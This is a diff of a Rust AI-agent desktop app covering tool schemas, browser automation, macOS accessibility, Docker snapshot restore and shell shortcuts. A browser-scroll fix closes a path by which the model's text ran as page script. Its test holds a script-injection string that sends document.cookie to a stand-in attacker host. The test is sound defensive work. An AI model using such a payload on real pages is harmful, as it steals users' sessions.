json!({"name": "remember", "description": "Keep a fact or preference the person wants you to remember across chats.", "parameters": {"type": "object", "properties": {"fact": {"type": "string"}}, "required": ["fact"]}}),
json!({"name": "forget", "description": "Forget a remembered fact (its number or words in it).", "parameters": {"type": "object", "properties": {"what": {"type": "string"}}, "required": ["what"]}}),
json!({"name": "forget", "description": "Forget a remembered fact: give the fact's own words (or words in it).", "parameters": {"type": "object", "properties": {"what": {"type": "string"}}, "required": ["what"]}}),
json!({"name": "save_skill", "description": "Save a reusable procedure as a skill every bot can use (replaces one with the same name).", "parameters": {"type": "object", "properties": {"name": {"type": "string"}, "description": {"type": "string", "description": "One line: when to use it"}, "instructions": {"type": "string", "description": "The full steps"}}, "required": ["name", "description", "instructions"]}}),
json!({"name": "use_skill", "description": "Load a skill's full instructions before doing that kind of task.", "parameters": {"type": "object", "properties": {"name": {"type": "string"}}, "required": ["name"]}}),
json!({"name": "delete_skill", "description": "Delete a skill.", "parameters": {"type": "object", "properties": {"name": {"type": "string"}}, "required": ["name"]}}),
@ -305,7 +305,14 @@ pub fn apply(state: &mut State, bot_id: u64, name: &str, args: &str) -> Outcome
raw["timezone"] = json!(tz);
}
match serde_json::from_value::<Schedule>(raw).map_err(|e| e.to_string()).and_then(routines::validate) {
Ok(x) => r.schedule = x,
Ok(x) => {
// 僅一次 counts from when it was set: counted from the day the
// routine was made, its one time was already past and it never ran.
if x.once {
r.created_at = now;
}
r.schedule = x
}
Err(e) => return err(format!("排程有問題:{e}")),
}
}
@ -455,10 +462,9 @@ pub fn apply(state: &mut State, bot_id: u64, name: &str, args: &str) -> Outcome
let name = s("name").unwrap_or_default();
let before = state.skills.len();
state.skills.retain(|k| k.name != name.trim());
// a skill that came from a file goes back to the shelf it came from
let slug: String = name.trim().chars().map(|c| if c.is_alphanumeric() { c.to_ascii_lowercase() } else { '-' }).collect();
let _ = std::fs::remove_file(crate::memory::skill_dir().join(format!("{}.md", slug.trim_matches('-'))));
if state.skills.len() < before { ok(format!("已刪除技能「{name}」")) } else { err(format!("沒有叫「{name}」的技能")) }
// A skill that came from a file: the file goes too (it is read again at every start).
let files = crate::memory::remove_skill_files(&name);
if state.skills.len() < before || files > 0 { ok(format!("已刪除技能「{name}」")) } else { err(format!("沒有叫「{name}」的技能")) }
}
"skill_install" => {
// P7: a skill is a .md file you can keep in a repo and hand to a friend.
@ -467,19 +473,10 @@ pub fn apply(state: &mut State, bot_id: u64, name: &str, args: &str) -> Outcome
return err("要貼技能檔(.md)的網址或檔案路徑".into());
}
let text = if src.starts_with("http://") || src.starts_with("https://") {
{
use std::io::Read;
let agent: ureq::Agent = ureq::Agent::config_builder().timeout_global(Some(std::time::Duration::from_secs(20))).http_status_as_error(false).build().into();
let mut text = String::new();
match agent.get(&src).call() {
Ok(mut r) => {
if let Err(e) = r.body_mut().as_reader().take(400_000).read_to_string(&mut text) {
return err(format!("技能檔讀不完:{e}"));
}
}
Err(e) => return err(format!("抓不到技能檔:{e}")),
}
text
match crate::web::get_public(&src, 400_000) {
Ok((_, status, _)) if status >= 400 => return err(format!("抓不到技能檔:網站回應 {status}")),
Ok((_, _, text)) => text,
Err(e) => return err(format!("抓不到技能檔:{e}")),
}
} else {
match std::fs::read_to_string(&src) {
@ -684,6 +681,11 @@ mod tests {
assert!(b.routines[0].next_run.unwrap() > routines::now());
let id = b.routines[0].id;
assert!(apply(&mut st, 1, "update_routine", &format!(r#"{{"id":{id},"paused":true}}"#)).text.contains("已暫停"));
// Days later it is changed to 僅一次: its one time is the next one from now (counted from
// the day it was made, that time was long past and the routine never ran).
st.bot_mut(1).unwrap().routines[0].created_at -= 3 * 86400;
assert!(apply(&mut st, 1, "update_routine", &format!(r#"{{"id":{id},"paused":false,"schedule":{{"frequency":"daily","time":"09:00","once":true}}}}"#)).ok);
assert!(st.bot(1).unwrap().routines[0].next_run.unwrap() > routines::now());
assert!(needs_approval("delete_routine", &format!(r#"{{"id":{id}}}"#), &st).unwrap().contains("早報"));
let w = apply(&mut st, 1, "run_routine_now", &format!(r#"{{"id":{id}}}"#));
assert_eq!(w.wake[0].0, 1);

View File

@ -30,6 +30,14 @@ fn dir_for(bot_id: u64) -> PathBuf {
crate::model::State::path().parent().map(|p| p.to_path_buf()).unwrap_or_else(std::env::temp_dir).join("attachments").join(format!("bot-{bot_id}"))
}
/// A file the person gave this bot with a message (the copy kept here): the bot may pass it
/// on, though it sits in AnyBot's own folder, which is otherwise closed to it.
pub fn is_given(bot_id: u64, p: &Path) -> bool {
let dir = dir_for(bot_id);
let real = |p: &Path| std::fs::canonicalize(p).unwrap_or_else(|_| p.to_path_buf());
p.is_file() && real(p).starts_with(real(&dir))
}
pub fn is_image_name(name: &str) -> bool {
let n = name.to_lowercase();
[".png", ".jpg", ".jpeg", ".gif", ".webp", ".bmp", ".heic", ".tif", ".tiff"].iter().any(|e| n.ends_with(e))
@ -64,6 +72,15 @@ pub fn store_bytes(bot_id: u64, name: &str, bytes: &[u8]) -> Result<Attachment,
Ok(Attachment { image: is_image_name(name), name: name.to_string(), path: dst.display().to_string(), bytes: bytes.len() as u64, on_box: String::new() })
}
/// The picture a paste brought (⌘V with a picture and no text on the clipboard: the window is
/// handed the pixels, straight RGBA, not a V key).
pub fn store_pasted(bot_id: u64, size: [usize; 2], rgba: Vec<u8>) -> Result<Attachment, String> {
let img = image::RgbaImage::from_raw(size[0] as u32, size[1] as u32, rgba).ok_or("貼上的圖片讀不出來")?;
let mut png = std::io::Cursor::new(Vec::new());
img.write_to(&mut png, image::ImageFormat::Png).map_err(|e| format!("貼上的圖片存不下來:{e}"))?;
store_bytes(bot_id, &format!("貼上的圖片 {}.png", chrono::Local::now().format("%H%M%S")), png.get_ref())
}
/// A picture on the clipboard (e.g. a screenshot copied with ⌃⇧⌘4) becomes an attachment.
pub fn paste_image(bot_id: u64) -> Option<Attachment> {
let dir = dir_for(bot_id);

View File

@ -91,6 +91,15 @@ mod mac {
}
}
/// An element kept for after the walk. The elements of a children list live only as long
/// as the list, and each list is let go when the walk leaves that level: the one the walk
/// chose was remembered as a bare pointer, and by the time it was pressed (or written to)
/// it had been released — the press went to freed memory.
fn keep(el: CFTypeRef) -> Cf {
unsafe { CFRetain(el) };
Cf(el)
}
fn cfstr(s: &str) -> Cf {
let c = CString::new(s).unwrap_or_default();
Cf(unsafe { CFStringCreateWithCString(std::ptr::null(), c.as_ptr(), UTF8) })
@ -156,7 +165,7 @@ mod mac {
}
/// Best (score, depth, element) pressable whose title/description/value matches `want`.
fn find_named(el: CFTypeRef, want: &str, best: &mut (u8, usize, CFTypeRef), seen: &mut usize, depth: usize) {
fn find_named(el: CFTypeRef, want: &str, best: &mut (u8, usize, Option<Cf>), seen: &mut usize, depth: usize) {
if *seen >= MAX_NODES || depth > MAX_DEPTH {
return;
}
@ -165,7 +174,7 @@ mod mac {
let score = ["AXTitle", "AXDescription", "AXValue"].iter().map(|a| attr_string(el, a).map(|s| name_match(&s, want)).unwrap_or(0)).max().unwrap_or(0);
// Deeper wins ties: a button inside a group is the thing, not the group.
if score > best.0 || (score == best.0 && score > 0 && depth > best.1) {
*best = (score, depth, el);
*best = (score, depth, Some(keep(el)));
}
}
let (_keep, kids) = children(el);
@ -175,7 +184,7 @@ mod mac {
}
/// Deepest pressable whose frame holds the point; deepest of any role as a second choice.
fn find_at(el: CFTypeRef, x: f64, y: f64, best: &mut (usize, CFTypeRef, bool), seen: &mut usize, depth: usize) {
fn find_at(el: CFTypeRef, x: f64, y: f64, best: &mut (usize, Option<Cf>, bool), seen: &mut usize, depth: usize) {
if *seen >= MAX_NODES || depth > MAX_DEPTH {
return;
}
@ -183,9 +192,9 @@ mod mac {
if let Some((fx, fy, fw, fh)) = frame(el) {
if fw > 0.0 && fh > 0.0 && x >= fx && x < fx + fw && y >= fy && y < fy + fh {
if pressable(el) && depth >= best.0 {
*best = (depth, el, true);
*best = (depth, Some(keep(el)), true);
} else if !best.2 && depth >= best.0 {
*best = (depth, el, false);
*best = (depth, Some(keep(el)), false);
}
}
}
@ -223,37 +232,30 @@ mod mac {
/// Press the control named `want` in the app `pid`. Returns the matched title.
pub fn press_named(pid: i32, want: &str) -> Result<String, String> {
let app = app(pid).ok_or("這個 App 沒有輔助使用介面")?;
let mut best = (0u8, 0usize, std::ptr::null());
let mut best = (0u8, 0usize, None);
let mut seen = 0;
find_named(app.0, want, &mut best, &mut seen, 0);
if best.2.is_null() {
let Some(found) = best.2 else {
return Err(format!("輔助使用樹裡沒有可點的「{want}」"));
}
let label = ["AXTitle", "AXDescription", "AXValue"].iter().filter_map(|a| attr_string(best.2, a)).find(|s| !s.trim().is_empty()).unwrap_or_else(|| want.to_string());
// Keep the element alive through the press: CFRetain, press, then release.
unsafe { CFRetain(best.2) };
let r = press(best.2, &role_of(best.2));
unsafe { CFRelease(best.2) };
r.map(|_| label)
};
let label = ["AXTitle", "AXDescription", "AXValue"].iter().filter_map(|a| attr_string(found.0, a)).find(|s| !s.trim().is_empty()).unwrap_or_else(|| want.to_string());
press(found.0, &role_of(found.0)).map(|_| label)
}
/// Press what sits under a screen point, if accessibility can name it.
pub fn press_at(pid: i32, x: f64, y: f64) -> Result<String, String> {
let app = app(pid).ok_or("這個 App 沒有輔助使用介面")?;
let mut best = (0usize, std::ptr::null(), false);
let mut best = (0usize, None, false);
let mut seen = 0;
find_at(app.0, x, y, &mut best, &mut seen, 0);
if best.1.is_null() {
let Some(found) = best.1 else {
return Err("那個位置不在任何控件上".into());
}
};
if !best.2 {
return Err("那個位置的控件不接受點按".into());
}
let label = ["AXTitle", "AXDescription", "AXValue"].iter().filter_map(|a| attr_string(best.1, a)).find(|s| !s.trim().is_empty()).map(|s| format!("「{s}」")).unwrap_or_else(|| "控件".into());
unsafe { CFRetain(best.1) };
let r = press(best.1, &role_of(best.1));
unsafe { CFRelease(best.1) };
r.map(|_| label)
let label = ["AXTitle", "AXDescription", "AXValue"].iter().filter_map(|a| attr_string(found.0, a)).find(|s| !s.trim().is_empty()).map(|s| format!("「{s}」")).unwrap_or_else(|| "控件".into());
press(found.0, &role_of(found.0)).map(|_| label)
}
/// Set the focused field's text (typing without keystrokes). False = caller types keys.
@ -269,7 +271,7 @@ mod mac {
unsafe { AXUIElementSetAttributeValue(focused.0, cfstr("AXValue").0, v.0) == 0 }
}
/// Deepest AXMenuItem (in any open menu) whose words match `want` best (exact first).
fn find_menu_item(el: CFTypeRef, want: &str, best: &mut (u8, usize, CFTypeRef), seen: &mut usize, depth: usize) {
fn find_menu_item(el: CFTypeRef, want: &str, best: &mut (u8, usize, Option<Cf>), seen: &mut usize, depth: usize) {
if *seen >= MAX_NODES || depth > MAX_DEPTH {
return;
}
@ -277,7 +279,7 @@ mod mac {
if attr_string(el, "AXRole").is_some_and(|r| r == "AXMenuItem" || r == "AXMenuBarItem") {
let score = ["AXTitle", "AXDescription"].iter().map(|a| attr_string(el, a).map(|s| name_match(&s, want)).unwrap_or(0)).max().unwrap_or(0);
if score > best.0 {
*best = (score, depth, el);
*best = (score, depth, Some(keep(el)));
}
}
let (_keep, kids) = children(el);
@ -303,22 +305,17 @@ mod mac {
let names = items.iter().filter_map(|k| attr_string(*k, "AXTitle")).collect::<Vec<_>>().join("、");
return Err(format!("選單列裡沒有「{want}」(有:{names})"));
}
unsafe { CFRetain(*item) };
let r = press(*item, "AXMenuBarItem");
unsafe { CFRelease(*item) };
r?;
// (`_keep`, the menu bar's own list, is held to the end of this function.)
press(*item, "AXMenuBarItem")?;
std::thread::sleep(std::time::Duration::from_millis(350));
for seg in &path[1..] {
let mut best = (0u8, 0usize, std::ptr::null());
let mut best = (0u8, 0usize, None);
let mut seen = 0;
find_menu_item(app.0, seg.trim(), &mut best, &mut seen, 0);
if best.2.is_null() {
let Some(found) = best.2 else {
return Err(format!("打開的選單裡沒有「{}」(前面已點:{})", seg.trim(), path[..path.len() - 1].join("→")));
}
unsafe { CFRetain(best.2) };
let r = press(best.2, "AXMenuItem");
unsafe { CFRelease(best.2) };
r?;
};
press(found.0, "AXMenuItem")?;
std::thread::sleep(std::time::Duration::from_millis(250));
}
Ok(path.join(" → "))
@ -331,15 +328,15 @@ mod mac {
Some(a) => a,
None => return fields.iter().map(|(n, _)| (n.clone(), Err("這個 App 沒有輔助使用介面".into()))).collect(),
};
let mut editables: Vec<CFTypeRef> = Vec::new();
let mut editables: Vec<Cf> = Vec::new();
collect_editables(app.0, &mut editables, &mut 0, 0);
let mut out = Vec::new();
for (name, value) in fields {
let best = editables
.iter()
.filter_map(|e| {
let s = name_match(&name_of(*e), name);
(s > 0 && is_editable(*e)).then_some((s, *e))
let s = name_match(&name_of(e.0), name);
(s > 0 && is_editable(e.0)).then_some((s, e.0))
})
.max_by_key(|(s, _)| *s);
out.push(match best {
@ -362,12 +359,15 @@ mod mac {
["AXTitle", "AXDescription", "AXPlaceholderValue", "AXHelp"].iter().filter_map(|a| attr_string(el, a)).find(|s| !s.trim().is_empty()).unwrap_or_default()
}
fn collect_editables(el: CFTypeRef, out: &mut Vec<CFTypeRef>, seen: &mut usize, depth: usize) {
/// Every field of the app that text can be written into (kept: see `keep`).
fn collect_editables(el: CFTypeRef, out: &mut Vec<Cf>, seen: &mut usize, depth: usize) {
if *seen >= MAX_NODES || depth > MAX_DEPTH {
return;
}
*seen += 1;
out.push(el);
if is_editable(el) {
out.push(keep(el));
}
let (_keep, kids) = children(el);
for k in kids {
collect_editables(k, out, seen, depth + 1);

View File

@ -545,13 +545,18 @@ pub fn release(job: &str) -> Vec<String> {
///
/// A page that actually went somewhere (http/https) beats a blank one at every step: a browser
/// that boots on about:blank (headless Chrome does) must not strand a job on the empty tab.
/// The job's own tab counts as somewhere whenever it is not blank — a file it opened, a
/// chrome:// page: only http counted, so such a tab lost to any web page nobody had, and the
/// job's next step read and clicked in that one.
pub fn pick_tab(list: &[Value]) -> Option<&Value> {
let me = job();
let id = |t: &Value| t["id"].as_str().unwrap_or("").to_string();
let url = |t: &Value| t["url"].as_str().unwrap_or("").to_string();
let mine = |t: &Value| !me.is_empty() && owner(&id(t)).as_deref() == Some(me.as_str());
let live = |t: &Value| t["url"].as_str().unwrap_or("").starts_with("http");
let live = |t: &Value| url(t).starts_with("http");
let somewhere = |t: &Value| !url(t).is_empty() && !["about:", "chrome://newtab", "chrome://new-tab-page"].iter().any(|blank| url(t).starts_with(blank));
let free = |t: &Value| !others_tab(&id(t));
list.iter().find(|t| mine(t) && live(t)).or_else(|| list.iter().find(|t| free(t) && live(t))).or_else(|| list.iter().find(|t| mine(t))).or_else(|| list.iter().find(|t| free(t)))
list.iter().find(|t| mine(t) && somewhere(t)).or_else(|| list.iter().find(|t| free(t) && live(t))).or_else(|| list.iter().find(|t| mine(t))).or_else(|| list.iter().find(|t| free(t)))
}
/// The open page tabs' ids (none when the browser isn't open; it isn't started for this).
@ -897,6 +902,9 @@ mod tests {
// A job's own real page still wins over a stranger's.
let mine = vec![serde_json::json!({"type": "page", "id": "theirs", "url": "https://other.example"}), serde_json::json!({"type": "page", "id": "mine", "url": "https://mine.example"})];
assert_eq!(as_job("job-y", || { claim("mine"); pick_tab(&mine).map(|t| t["id"].clone()) }), Some("mine".into()));
// The job's own page that is no web page (a file it opened) is still its page.
let file = vec![serde_json::json!({"type": "page", "id": "web", "url": "https://other.example"}), serde_json::json!({"type": "page", "id": "report", "url": "file:///tmp/report.html"})];
assert_eq!(as_job("job-f", || { claim("report"); pick_tab(&file).map(|t| t["id"].clone()) }), Some("report".into()));
// All blank: keep the old behaviour (own tab, then any free one).
let blanks = vec![serde_json::json!({"type": "page", "id": "b1", "url": "about:blank"}), serde_json::json!({"type": "page", "id": "b2", "url": "about:blank"})];
assert_eq!(as_job("job-z", || { claim("b2"); pick_tab(&blanks).map(|t| t["id"].clone()) }), Some("b2".into()));

View File

@ -247,6 +247,16 @@ fn changes(before: &(String, String, Vec<String>), after: &(String, String, Vec<
// ---------- finding an element ----------
/// The element a bot means: its number, else visible text / label / placeholder.
/// The way browser_scroll goes: up, top, bottom, or (anything else) down.
fn scroll_direction(asked: &str) -> &'static str {
match asked.trim().to_lowercase().as_str() {
"up" => "up",
"top" => "top",
"bottom" => "bottom",
_ => "down",
}
}
fn find_js(r#ref: &str, text: &str) -> String {
let rf = serde_json::to_string(r#ref.trim().trim_matches(['[', ']'])).unwrap_or_default();
let tx = serde_json::to_string(text.trim()).unwrap_or_default();
@ -744,14 +754,17 @@ pub fn run(name: &str, args: &Value) -> Result<(String, Option<String>), String>
let after = snapshot(&mut tab);
return Ok((format!("已捲到 {what}。\n{}", changes(&before, &after)), None));
}
let js = match s(args, "direction").as_str() {
// One of four words, never the model's own text: it goes into the page's script
// (anything else there ran as script on a page the person is logged in to).
let direction = scroll_direction(&s(args, "direction"));
let js = match direction {
"up" => "window.scrollBy(0, -innerHeight * 0.85)",
"top" => "window.scrollTo(0, 0)",
"bottom" => "window.scrollTo(0, document.documentElement.scrollHeight)",
_ => "window.scrollBy(0, innerHeight * 0.85)",
};
// Pages that scroll an inner box: scroll the biggest scrollable element too.
tab.eval(&format!("(() => {{ {js}; const boxes = [...document.querySelectorAll('*')].filter(e => e.scrollHeight > e.clientHeight + 40 && /(auto|scroll)/.test(getComputedStyle(e).overflowY)).sort((a, b) => b.clientHeight - a.clientHeight); if (boxes[0]) {{ const b = boxes[0]; const d = '{}'; if (d === 'top') b.scrollTop = 0; else if (d === 'bottom') b.scrollTop = b.scrollHeight; else b.scrollTop += (d === 'up' ? -1 : 1) * b.clientHeight * 0.85; }} return 1; }})()", s(args, "direction")))?;
tab.eval(&format!("(() => {{ {js}; const boxes = [...document.querySelectorAll('*')].filter(e => e.scrollHeight > e.clientHeight + 40 && /(auto|scroll)/.test(getComputedStyle(e).overflowY)).sort((a, b) => b.clientHeight - a.clientHeight); if (boxes[0]) {{ const b = boxes[0]; const d = '{direction}'; if (d === 'top') b.scrollTop = 0; else if (d === 'bottom') b.scrollTop = b.scrollHeight; else b.scrollTop += (d === 'up' ? -1 : 1) * b.clientHeight * 0.85; }} return 1; }})()"))?;
settle_after(&mut tab, &sig, 500, 2500);
let after = snapshot(&mut tab);
let pos = tab.eval("JSON.stringify([Math.round(scrollY), document.documentElement.scrollHeight, innerHeight])")?;
@ -1083,6 +1096,14 @@ fn table(tab: &mut Tab, args: &Value) -> Result<String, String> {
#[cfg(test)]
mod tests {
/// The direction goes into the page's script: only the four words ever do.
#[test]
fn a_scroll_goes_one_of_four_ways() {
use super::scroll_direction;
assert_eq!((scroll_direction("up"), scroll_direction(" Top "), scroll_direction("bottom"), scroll_direction("")), ("up", "top", "bottom", "down"));
assert_eq!(scroll_direction("'; fetch('https://evil.example/?c=' + document.cookie); '"), "down");
}
#[test]
fn the_one_tool_maps_every_action() {
let mut c = |args: &str| {

View File

@ -1063,10 +1063,14 @@ pub fn ensure_running() -> Result<(), String> {
Run::NoDocker(e) => Err(e),
Run::Absent => {
set_run(Run::Starting("建立中"));
// Asked before the box is made: Docker fills a new volume with the image's own
// home (.bashrc, .profile…), so a new home never looked empty afterwards and the
// saved one was never put back.
let new_home = !home_volume_exists();
create_container().and_then(|_| {
// A brand-new box on an empty volume (a wiped Docker, a new host): the saved
// home brings the files and every bot's logins back by themselves.
if snapshot_path().exists() && !home_has_files() {
if snapshot_path().exists() && (new_home || !home_has_files()) {
log("新的電腦家目錄是空的:從最近的快照還原檔案和登入…");
let src = snapshot_path();
if let Err(e) = copy_in_snapshot(&src) {
@ -1325,6 +1329,30 @@ fn copy_in_snapshot(src: &std::path::Path) -> Result<(), String> {
Err("還原沒有完成:copy-in outcome=unknown".into())
}
/// The home volume is there already (false also when Docker can't be asked: making the box
/// fails then, and nothing is restored).
fn home_volume_exists() -> bool {
dk(&["volume", "inspect", "-f", "{{.Name}}", volume()]).is_ok()
}
/// A saved snapshot can be read to its end (a whole gzip stream with something in it). Asked
/// before the home it is to replace is thrown away.
fn snapshot_whole(src: &std::path::Path) -> Result<(), String> {
let file = std::fs::File::open(src).map_err(|e| format!("打不開快照:{e}"))?;
let mut gz = flate2::read::GzDecoder::new(std::io::BufReader::new(file));
match std::io::copy(&mut gz, &mut std::io::sink()) {
Ok(0) => Err("快照是空的".into()),
Ok(_) => Ok(()),
Err(e) => Err(format!("快照壞了,讀不到最後:{e}")),
}
}
/// Throw the home volume away. Said when it can't be (another container still holds it): the
/// step after it would otherwise call old files a new computer.
fn remove_home_volume() -> Result<(), String> {
dk(&["volume", "rm", "-f", volume()]).map(|_| ()).map_err(|e| format!("清不掉電腦裡的資料({})。原本的檔案都還在,沒有動到。", tail(&e, 200)))
}
fn home_has_files() -> bool {
dk(&["exec", container(), "sh", "-c", &format!("ls -A {HOME} | head -1")]).map(|s| !s.trim().is_empty()).unwrap_or(false)
}
@ -1458,7 +1486,7 @@ fn run_rebuild(kind: Rebuild, phase: &dyn Fn(&str, &str)) -> Result<(), String>
let _ = dk(&["rm", "-f", container()]);
let _ = dk(&["rm", "-f", &holder_name()]);
phase("wiping", "清除電腦裡的資料");
let _ = dk(&["volume", "rm", "-f", volume()]);
remove_home_volume()?;
phase("creating", "開一台全新的電腦");
if !image_exists() {
build_image(false)?;
@ -1474,10 +1502,15 @@ fn run_rebuild(kind: Rebuild, phase: &dyn Fn(&str, &str)) -> Result<(), String>
phase("backing-up", "復原前:先存下現在的電腦");
save_snapshot().map_err(|e| format!("復原取消了:存不下現在的狀態({e})。先處理好這個,最近的變更才不會無聲消失。"))?;
}
// The snapshot is read through before anything is thrown away: the home was
// wiped first and the snapshot opened last, so one that couldn't be read (gone,
// cut short) left a computer with neither.
phase("backing-up", "確認快照讀得出來");
snapshot_whole(&src).map_err(|e| format!("復原取消了:{e}。電腦沒有動到。"))?;
phase("cleaning-up", "拆掉舊的電腦和它的資料");
let _ = dk(&["rm", "-f", container()]);
let _ = dk(&["rm", "-f", &holder_name()]);
let _ = dk(&["volume", "rm", "-f", volume()]);
remove_home_volume()?;
phase("creating", "從快照開一台新的電腦");
if !image_exists() {
build_image(false)?;
@ -2392,6 +2425,27 @@ pub fn shutdown() {
mod tests {
use super::*;
/// 復原 reads the snapshot through before it throws the home away: one cut short, empty or
/// gone is refused while the computer is still whole.
#[test]
fn a_snapshot_is_read_through_before_the_home_goes() {
use std::io::Write;
let dir = std::env::temp_dir().join(format!("anybot-snapshot-whole-{}", std::process::id()));
let _ = std::fs::create_dir_all(&dir);
let mut gz = flate2::write::GzEncoder::new(vec![], flate2::Compression::default());
gz.write_all(&vec![7u8; 200_000]).unwrap();
let whole = gz.finish().unwrap();
let file = dir.join("snapshot.tar.gz");
std::fs::write(&file, &whole).unwrap();
assert!(snapshot_whole(&file).is_ok());
std::fs::write(&file, &whole[..whole.len() / 2]).unwrap();
assert!(snapshot_whole(&file).unwrap_err().contains("讀不到最後"));
std::fs::write(&file, b"").unwrap();
assert!(snapshot_whole(&file).is_err());
assert!(snapshot_whole(&dir.join("none.tar.gz")).unwrap_err().contains("打不開"));
let _ = std::fs::remove_dir_all(&dir);
}
#[test]
fn typing_replaces_a_one_line_field_however_it_is_named() {
let none = serde_json::json!({});

View File

@ -1358,8 +1358,10 @@ fn run_inner(name: &str, v: &Value) -> Result<(String, Option<String>), String>
crate::marks::names_to_numbers(&mut named, spots.as_ref())?;
}
let v = &named;
if !cfg!(any(target_os = "macos", target_os = "linux")) {
return Err("操作畫面只支援 macOS 和 Linux".into());
// (Windows was still turned away here after it got its hands — win.rs — so nothing in
// that file could ever run.)
if !cfg!(any(target_os = "macos", target_os = "linux", target_os = "windows")) {
return Err("操作畫面只支援 macOS、Linux 和 Windows".into());
}
if name == "computer_use_wait_for" {
return Ok((wait_for_tool(v)?, None));
@ -1496,7 +1498,7 @@ pub fn demo_supported() -> bool {
}
}
/// This system's screen can be seen and used (macOS; Linux on X11 or Wayland).
/// This system's screen can be seen and used (macOS; Windows; Linux on X11 or Wayland).
pub fn screen_supported() -> bool {
#[cfg(target_os = "linux")]
{
@ -1504,7 +1506,7 @@ pub fn screen_supported() -> bool {
}
#[cfg(not(target_os = "linux"))]
{
cfg!(target_os = "macos")
cfg!(any(target_os = "macos", target_os = "windows"))
}
}

View File

@ -221,8 +221,10 @@ pub fn read_request(c: &mut TcpStream) -> Result<Req, u16> {
}
while body.len() < len {
let n = c.read(&mut buf).map_err(|_| 400u16)?;
// The connection ended before the whole body came: not a request. (Half a body
// used to be handed on as the request: half an upload, saved over the whole one.)
if n == 0 {
break;
return Err(400);
}
body.extend_from_slice(&buf[..n]);
}
@ -512,4 +514,27 @@ mod tests {
assert_eq!(v["n"], 100_000);
assert_eq!(v["p"], "/a/b");
}
/// An upload cut off on the way is no request (it used to be answered as a whole one).
#[test]
fn half_a_body_is_not_a_request() {
use std::io::Write;
let l = TcpListener::bind("127.0.0.1:0").unwrap();
let port = l.local_addr().unwrap().port();
let send = move |bytes: &'static [u8]| {
std::thread::spawn(move || {
let mut c = TcpStream::connect(("127.0.0.1", port)).unwrap();
c.write_all(bytes).unwrap();
// (Closed here, before the rest of the body.)
})
};
let t = send(b"POST /backup HTTP/1.1\r\nContent-Length: 10\r\n\r\nabc");
let (mut c, _) = l.accept().unwrap();
assert_eq!(read_request(&mut c).err(), Some(400));
t.join().unwrap();
let t = send(b"POST /backup HTTP/1.1\r\nContent-Length: 10\r\n\r\n0123456789");
let (mut c, _) = l.accept().unwrap();
assert_eq!(read_request(&mut c).map(|r| r.body).ok(), Some(b"0123456789".to_vec()));
t.join().unwrap();
}
}

View File

@ -102,39 +102,42 @@ pub fn script(name: &str, arg: &str) -> Result<String, String> {
return Err(format!("沒有捷徑「{name}」。"));
}
let a = arg.trim();
let mac = |s: &str| format!("case \"$(uname -s)\" in Darwin) {s} ;; Linux) ");
// One script for both systems: `case` picks the branch on the machine that runs it. (The
// Mac command used to land in the Linux branch and the Linux one after it as a stray
// pattern, with a `)` left over: every shortcut was a syntax error on every machine.)
let on = |mac: &str, linux: &str| format!("case \"$(uname -s)\" in Darwin) {mac} ;; Linux) {linux} ;; esac");
Ok(match (name, a) {
("volume", "up") => format!(
"{}osascript -e 'set u to (output volume of (get volume settings)) + 15' -e 'if u > 100 then set u to 100' -e 'set volume output volume u' ;; pactl set-sink-volume @DEFAULT_SINK@ +15% 2>/dev/null || amixer -q sset Master 15%+ ;; esac)",
mac("")
("volume", "up") => on(
"osascript -e 'set u to (output volume of (get volume settings)) + 15' -e 'if u > 100 then set u to 100' -e 'set volume output volume u'",
"pactl set-sink-volume @DEFAULT_SINK@ +15% 2>/dev/null || amixer -q sset Master 15%+",
),
("volume", "down") => format!(
"{}osascript -e 'set u to (output volume of (get volume settings)) - 15' -e 'if u < 0 then set u to 0' -e 'set volume output volume u' ;; pactl set-sink-volume @DEFAULT_SINK@ -15% 2>/dev/null || amixer -q sset Master 15%- ;; esac)",
mac("")
("volume", "down") => on(
"osascript -e 'set u to (output volume of (get volume settings)) - 15' -e 'if u < 0 then set u to 0' -e 'set volume output volume u'",
"pactl set-sink-volume @DEFAULT_SINK@ -15% 2>/dev/null || amixer -q sset Master 15%-",
),
("volume", "mute") => format!(
"{}osascript -e 'set m to muted of (get volume settings)' -e 'set volume output muted (not m)' ;; pactl set-sink-mute @DEFAULT_SINK@ toggle 2>/dev/null || amixer -q sset Master toggle ;; esac)",
mac("")
("volume", "mute") => on(
"osascript -e 'set m to muted of (get volume settings)' -e 'set volume output muted (not m)'",
"pactl set-sink-mute @DEFAULT_SINK@ toggle 2>/dev/null || amixer -q sset Master toggle",
),
("volume", "unmute") => format!("{}osascript -e 'set volume output muted false' ;; pactl set-sink-mute @DEFAULT_SINK@ 0 2>/dev/null || amixer -q sset Master unmute ;; esac)", mac("")),
("volume", "unmute") => on("osascript -e 'set volume output muted false'", "pactl set-sink-mute @DEFAULT_SINK@ 0 2>/dev/null || amixer -q sset Master unmute"),
("volume", set) => {
// "set 40" as the facts line teaches; a bare "40" is kindly taken too.
let Some(n) = is_num(set.strip_prefix("set ").unwrap_or(set).trim()) else {
return Err("volume 的 arg 要写成 set 0-100(如 set 40)或 up/down/mute/unmute。".into());
};
format!("{}osascript -e 'set volume output volume {n}' ;; pactl set-sink-volume @DEFAULT_SINK@ {n}% 2>/dev/null || amixer -q sset Master {n}% ;; esac)", mac(""))
on(&format!("osascript -e 'set volume output volume {n}'"), &format!("pactl set-sink-volume @DEFAULT_SINK@ {n}% 2>/dev/null || amixer -q sset Master {n}%"))
}
("wifi", "on") => format!("{}networksetup -setairportpower en0 on ;; nmcli radio wifi on 2>/dev/null || rfkill unblock wifi ;; esac)", mac("")),
("wifi", "off") => format!("{}networksetup -setairportpower en0 off ;; nmcli radio wifi off 2>/dev/null || rfkill block wifi ;; esac)", mac("")),
("lock", "") => format!("{}pmset displaysleepnow ;; loginctl lock-session 2>/dev/null || xset dpms force off ;; esac)", mac("")),
("dark", "dark") => format!("{}osascript -e 'tell application \"System Events\" to tell appearance preferences to set dark mode to true' ;; gsettings set org.gnome.desktop.interface color-scheme prefer-dark ;; esac)", mac("")),
("dark", "light") => format!("{}osascript -e 'tell application \"System Events\" to tell appearance preferences to set dark mode to false' ;; gsettings set org.gnome.desktop.interface color-scheme prefer-light ;; esac)", mac("")),
("dark", "toggle") => format!(
"{}osascript -e 'tell application \"System Events\" to tell appearance preferences to set dark mode to not (dark mode)' ;; gsettings set org.gnome.desktop.interface color-scheme \"$( [ \"$(gsettings get org.gnome.desktop.interface color-scheme)\" = \"'prefer-dark'\" ] && echo prefer-light || echo prefer-dark )\" ;; esac)",
mac("")
("wifi", "on") => on("networksetup -setairportpower en0 on", "nmcli radio wifi on 2>/dev/null || rfkill unblock wifi"),
